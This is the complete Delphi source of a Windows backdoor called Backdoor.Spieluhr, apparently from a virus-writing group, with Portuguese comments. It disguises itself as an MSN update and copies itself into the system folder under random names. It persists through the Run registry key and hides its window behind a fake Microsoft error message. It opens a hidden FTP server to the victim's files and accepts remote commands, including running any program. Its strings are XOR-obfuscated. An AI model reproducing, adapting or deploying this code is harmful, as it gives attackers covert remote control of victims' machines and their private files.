| ||||||||||||||||
Backdoor.Spieluhr
by Hutley
See also the project folder unit Unit1; { Backdoor.Spieluhr Este backdoor foi totalmente feito por Hutley/GEDZAC. Projeto terminado as 12:03 - 24/Dez/2005 - A idéia foi criar um backdoor que permitisse o acesso aos arquivos do usuário infectado. Isso pode ser feito por meio de um servidor FTP contido no programa serrvidor. Que se disfarça de MSN para poder se auto instalar na máquina. - Dúvida, Bugs ou Sugestões: www.Hutley.cjb.net } interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, FtpSrv, FtpSrvC, Registry, ScktComp; type TForm1 = class(TForm) FTP: TFtpServer; SrvSockt: TServerSocket; procedure FormCreate(Sender: TObject); procedure FTPAuthenticate(Sender: TObject; Client: TFtpCtrlSocket; UserName, Password: TFtpString; var Authenticated: Boolean); procedure SrvSocktClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); procedure SrvSocktClientRead(Sender: TObject; Socket: TCustomWinSocket); private { Private declarations } public { Public declarations } end; var Form1: TForm1; const info: string = 'Win32.Backdoor.Spieluhr.Server'; autor: string = 'Hutley / GEDZAC'; // possíveis nomes de arquivo que pode assumir file_name: array[0..9] of string = ( 'msnupdate.exe', 'winfog.exe', 'winsys.exe', 'lsass1.exe', 'lovcx.exe', 'winsress.exe', 'winlog.exe', 'winsock.exe', 'saveruser.exe', 'winbackup.exe'); implementation {$R *.dfm} // função para decodificar as strings function code(text: string; chave: integer): string; var lp1, p: integer; fuck: string; begin lp1 := strlen(pchar(text)); for p := 1 to lp1 do begin fuck := fuck + chr(ord(text[p]) xor chave) end; code := fuck end; // diretório do sistema function SysDir: string; begin SetLength(Result, MAX_PATH); if GetSystemDirectory(PChar(Result), MAX_PATH) > 0 then Result := string(PChar(Result)) + '\' else Result := ''; end; // Escreve no Registro a Nova senha do FTPServer procedure NovoPassword(pass: string); var reg: TRegistry; begin Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr key: 050 Reg.OpenKey(code('na}tfes`wnA\aB[W^GZ@', 050), true); // ftpPass key:051 Reg.WriteString(code('UGCcR@@', 051), pass); Reg.CloseKey; Reg.Free; end; // Escreve no Registro o novo Login do FTPServer procedure NovoLogin(login: string); var reg: TRegistry; begin Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr key: 12 Reg.OpenKey(code('P_CJX[M^IPAb_|ei`yd~', 12), true); // ftpLogin key: 15 Reg.WriteString(code('i{C`hfa', 15), login); Reg.CloseKey; Reg.Free; end; // Executar por REGISTRO ! procedure ExecutaViaRegistro(nome, path: string); var evrg: TRegistry; begin evrg := TRegistry.Create; evrg.RootKey := HKEY_LOCAL_MACHINE; // SOFTWARE\Microsoft\Windows\CurrentVersion\Run KEY: 24 evrg.OpenKey(code('KW^LOYJ]DUq{jwkw~lDOqv|wokD[mjj}vlN}jkqwvDJmv', 24), FALSE); evrg.WriteString(nome, path); evrg.Destroy; end; // Escreve no Registro o nova Porta do FTPServer procedure NovaPorta(porta: integer); var reg: TRegistry; begin Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr KEY: 30 Reg.OpenKey(code('BMQXJI_L[BSmpMnw{rkvl', 30), true); // ftpPort KEY: 30 Reg.WriteInteger(code('xjnNqlj', 30), porta); Reg.CloseKey; Reg.Free; end; // Processa os comandos recebidos pelo SOCKET procedure RecebeComando(s: string); var comando, texto: string; begin // Parte a STRING em dois pedaços, // o COMANDO e o PARÂMETRO comando := Copy(s, 1, 5); texto := Copy(s, 6, Length(s)); // npass, nlogi, exect, nport KEY: 40 if comando = code('FXI[[', 40) then NovoPassword(texto); if comando = code('FDGOA', 40) then NovoLogin(texto); if comando = code('MPMK\', 40) then WinExec(PChar(texto), sw_ShowNormal); if comando = code('FXGZ\', 40) then NovaPorta(StrToInt(texto)); end; procedure TForm1.FormCreate(Sender: TObject); var reg: TRegistry; ftpPort, NumbName: Integer; begin // Nao aparece na barra de tarefas SetWindowLong(Application.Handle, GWL_EXSTYLE, GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW); // Executado 1º Vez? Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr KEY: 45 (em tudo) Reg.OpenKey(code('q~bkyzlhq`^C~]DHAXE_', 45), true); if not (Reg.ValueExists('1?')) then begin // Coloca a String para Aparecer a Mensagem de Erro Reg.WriteBool('1?', true); // Se AUTO COPIA para a pasta SYSTEM // o nome do arquivo é escolhido aleatoriamente Randomize; NumbName := Random(9); CopyFile(PChar(Application.Exename), PChar(SysDir + file_name[NumbName]), false); // Depois de copiado, escreve no registro pra auto executar // Hutley-Spieluhr - key: 20 ExecutaViaRegistro(code('\a`xqm9Gd}qxa|f', 20), SysDir + file_name[NumbName]); // Login/Pass para o FTPServer // ftpLogin, hutleyvx - key: 21 Reg.WriteString(code('saeYzr|{', 21), code('}`ayplcm', 21)); // ftpPass - key: 21, 123456 - key: 23 Reg.WriteString(code('saeEtff', 21), code('&%$#"!', 23)); // ftpPort, 25 - key: 23 Reg.WriteInteger(code ('qcgGxec', 23), StrToInt(Code('%"', 23))); // Msg de Erro. Só aparece na 1º execução // Error, contact the Microsoft support! - key: 23 // Error #6985 - key: 25 Application.MessageBox(PChar(code('Reexe;7txycvtc7cr7Z~texdxqc7dbggxec6', 23)), PChar(code('\kkvk9:/ !,', 25)), mb_ok + mb_IconError); end else begin // ftpPort key: 26 ftpPort := Reg.ReadInteger(code('|njJuhn', 26)); Reg.CloseKey; Reg.Free; end; // Inicia o FTP Server e o Socket Servidor if ftp.Active = false then begin FTP.Port := IntToStr(FTPPort); FTP.Start; end; if srvsockt.Active = false then srvsockt.Open; // Some com o FORM da tela with form1 do begin left := 0; top := 1000000; Height := 0; Width := 0; end; end; procedure TForm1.FTPAuthenticate(Sender: TObject; Client: TFtpCtrlSocket; UserName, Password: TFtpString; var Authenticated: Boolean); var Reg: TRegistry; ftpLogin, ftpPass: string; begin Authenticated := false; // Lê no Registro Login/Senha para autenticação do FTPServer Reg := TRegistry.Create; Reg.RootKey := HKEY_LOCAL_MACHINE; // \SOFTWARE\MsnSpieluhr - key: 26 Reg.OpenKey(code('FIU\NM[H_FWitIjsvorh', 26), true); // ftpLogin - key: 27 ftpLogin := Reg.ReadString(code('}okWt|ru', 27)); // ftpPass - key: 27 ftpPass := Reg.ReadString(code('}okKzhh', 27)); Reg.CloseKey; Reg.Free; // Verifica se é igual ao Recebido if (UserName = ftpLogin) and (Password = ftpPass) then Authenticated := true else Authenticated := false; end; procedure TForm1.SrvSocktClientError(Sender: TObject; Socket: TCustomWinSocket; ErrorEvent: TErrorEvent; var ErrorCode: Integer); begin ErrorCode := 0; end; procedure TForm1.SrvSocktClientRead(Sender: TObject; Socket: TCustomWinSocket); begin RecebeComando(Socket.ReceiveText); end; end. |